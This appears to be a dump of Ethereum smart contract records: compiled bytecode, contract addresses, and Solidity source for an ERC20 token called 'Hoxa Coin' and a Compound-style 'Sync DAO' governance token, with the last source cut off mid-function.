35760016000848152602001908152602001600020600060038381548110151561129757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611316576001820191505b8080600101915050611266565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114015780601f106113d657610100808354040283529160200191611401565b820191906000526020600020905b8154815290600101906020018083116113e457829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b606060038054806020026020016040519081016040528092919081815260200182805480156114a257602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611458575b5050505050905090565b6060806000806005546040519080825280602002602001820160405280156114e35781602001602082028038833980820191505090505b50925060009150600090505b60055481101561158f57858015611526575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806115595750848015611558575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b156115825780838381518110151561156d57fe5b90602001906020020181815250506001820191505b80806001019150506114ef565b8787036040519080825280602002602001820160405280156115c05781602001602082028038833980820191505090505b5093508790505b868110156116125782818151811015156115dd57fe5b90602001906020020151848983038151811015156115f757fe5b906020019060200201818152505080806001019150506115c7565b505050949350505050565b6060806000806003805490506040519080825280602002602001820160405280156116575781602001602082028038833980820191505090505b50925060009150600090505b6003805490508110156117a45760016000868152602001908152602001600020600060038381548110151561169457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156117975760038181548110151561171b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838381518110151561175457fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611663565b816040519080825280602002602001820160405280156117d35781602001602082028038833980820191505090505b509350600090505b818110156118525782818151811015156117f157fe5b90602001906020020151848281518110151561180957fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505080806001019150506117db565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561189a57600080fd5b60038054905081603282111580156118b25750818111155b80156118bf575060008114155b80156118cc575060008214155b15156118d757600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561197357600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156119cf57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611a3b57600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a3611af085611eb1565b5050505050565b6000611b048484846121ab565b9050611b0f8161191a565b9392505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b5057600080fd5b806006819055507fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca2816040518082815260200191505060405180910390a150565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bd857600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c3157600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611c8b57600080fd5b600092505b600380549050831015611d74578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611cc357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611d675783600384815481101515611d1a57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611d74565b8280600101935050611c90565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b60008033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611f0d57600080fd5b83336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611f7857600080fd5b8560008082815260200190815260200160002060030160009054906101000a900460ff16151515611fa857600080fd5b6000808881526020019081526020016000209550611fc587611179565b945084806120005750600086600201805460018160011615610100020316600290049050148015611fff5750611ffe86600101546122fd565b5b5b1561219c5760018660030160006101000a81548160ff02191690831515021790555084151561203e5785600101546008600082825401925050819055505b8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1686600101548760020160405180828054600181600116156101000203166002900480156120e75780601f106120bc576101008083540402835291602001916120e7565b820191906000526020600020905b8154815290600101906020018083116120ca57829003601f168201915b505091505060006040518083038185875af1925050501561213457867f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a261219b565b867f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008660030160006101000a81548160ff02191690831515021790555084151561219a5785600101546008600082825403925050819055505b5b5b50505050505050565b60085481565b60008360008173ffffffffffffffffffffffffffffffffffffffff16141515156121d457600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061229392919061237b565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000620151806007540142111561231e574260078190555060006008819055505b6006548260085401118061233757506008548260085401105b15612345576000905061234a565b600190505b919050565b8154818355818111156123765781836000526020600020918201910161237591906123fb565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106123bc57805160ff19168380011785556123ea565b828001600101855582156123ea579182015b828111156123e95782518255916020019190600101906123ce565b5b5090506123f791906123fb565b5090565b61241d91905b80821115612419576000816000905550600101612401565b5090565b905600a165627a7a723058204ddf65e752f74df3b97b9e62f58b1fd8b397c7e65f737646af2a8decea4af7760029
|
{"success": true, "error": null, "results": {}}
| 5,194 |
0xE56a239BcF946700C6063FDb8afa015C89e30266
|
pragma solidity ^0.6.6;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
/**
* @dev Mod two numbers.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Hoxa Coin
* @dev Implementation of IERC20
* Token name,symbol,decimals,totalSupply .
*
*/
contract Token is IERC20
{
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor (string memory name_, string memory symbol_,uint256 totalSupply) public {
_name = name_;
_symbol = symbol_;
_mint(msg.sender,totalSupply);
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
*/
function decimals() public pure returns (uint8) {
return 6;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "Token: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "Token: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance.sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "Token: transfer from the zero address");
require(recipient != address(0), "Token: transfer to the zero address");
require(amount>0,"Amount must be greater than 0");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "Token: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] =_balances[recipient].add(amount) ;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0) && amount >0, "Token: mint to the zero address");
_totalSupply =_totalSupply.add(amount) ;
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "Token: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "Token: burn amount exceeds balance");
_balances[account] = accountBalance.sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "Token: approve from the zero address");
require(spender != address(0), "Token: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461025f57806370a08231146102c557806395d89b411461031d578063a457c2d7146103a0578063a9059cbb14610406578063dd62ed3e1461046c576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019757806323b872dd146101b5578063313ce5671461023b575b600080fd5b6100b66104e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610586565b604051808215151515815260200191505060405180910390f35b61019f6105a4565b6040518082815260200191505060405180910390f35b610221600480360360608110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ae565b604051808215151515815260200191505060405180910390f35b6102436106bc565b604051808260ff1660ff16815260200191505060405180910390f35b6102ab6004803603604081101561027557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b610307600480360360208110156102db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610778565b6040518082815260200191505060405180910390f35b6103256107c0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036557808201518184015260208101905061034a565b50505050905090810190601f1680156103925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103ec600480360360408110156103b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610862565b604051808215151515815260200191505060405180910390f35b6104526004803603604081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610973565b604051808215151515815260200191505060405180910390f35b6104ce6004803603604081101561048257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610991565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561057c5780601f106105515761010080835404028352916020019161057c565b820191906000526020600020905b81548152906001019060200180831161055f57829003601f168201915b5050505050905090565b600061059a610593610a18565b8484610a20565b6001905092915050565b6000600254905090565b60006105bb848484610c17565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610606610a18565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561069c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806111416028913960400191505060405180910390fd5b6106b0856106a8610a18565b858403610a20565b60019150509392505050565b60006006905090565b600061076e6106d2610a18565b8461076985600160006106e3610a18565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f7890919063ffffffff16565b610a20565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108585780601f1061082d57610100808354040283529160200191610858565b820191906000526020600020905b81548152906001019060200180831161083b57829003601f168201915b5050505050905090565b60008060016000610871610a18565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610944576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110d36025913960400191505060405180910390fd5b61096861094f610a18565b85610963868561100090919063ffffffff16565b610a20565b600191505092915050565b6000610987610980610a18565b8484610c17565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610aa6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806110af6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b2c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806111696022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c9d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061108a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d23576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806110f86023913960400191505060405180910390fd5b60008111610d99576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e35576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061111b6026913960400191505060405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ecb826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f7890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600080828401905083811015610ff6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600082821115611078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b60008284039050809150509291505056fe546f6b656e3a207472616e736665722066726f6d20746865207a65726f2061646472657373546f6b656e3a20617070726f76652066726f6d20746865207a65726f2061646472657373546f6b656e3a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f546f6b656e3a207472616e7366657220746f20746865207a65726f2061646472657373546f6b656e3a207472616e7366657220616d6f756e7420657863656564732062616c616e6365546f6b656e3a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365546f6b656e3a20617070726f766520746f20746865207a65726f2061646472657373a26469706673582212208fc1a42c1916a40b968850c1e47a19324727ffdb93131f87a51cc35a6535a5ca64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 5,195 |
0x6DCEd71d2488eEf71703218A68c6052665B57709
|
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
// Copyright 2020 Compound Labs, Inc.
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
contract SyncToken {
/// @notice EIP-20 token name for this token
string public constant name = "Sync DAO Governance Token";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "SDG";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public totalSupply;
/// @notice Minter address
address public minter;
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/// @notice An event thats emitted when the minter is changed
event NewMinter(address minter);
modifier onlyMinter {
require(msg.sender == minter, "SyncToken:onlyMinter: should only be called by minter");
_;
}
/**
* @notice Construct a new Sync token
* @param initialSupply The initial supply minted at deployment
* @param account The initial account to grant all the tokens
*/
constructor(uint initialSupply, address account, address _minter) public {
totalSupply = safe96(initialSupply, "SyncToken::constructor:amount exceeds 96 bits");
balances[account] = uint96(initialSupply);
minter = _minter;
emit Transfer(address(0), account, initialSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "SyncToken::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Mint `amount` tokens to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @notice only callable by minter
*/
function mint(address dst, uint rawAmount) external onlyMinter {
uint96 amount = safe96(rawAmount, "SyncToken::mint: amount exceeds 96 bits");
_mintTokens(dst, amount);
}
/**
* @notice Mint `amount` tokens to `dst`
* @param account The address of the new minter
* @notice only callable by minter
*/
function changeMinter(address account) external onlyMinter {
minter = account;
emit NewMinter(account);
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "SyncToken::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
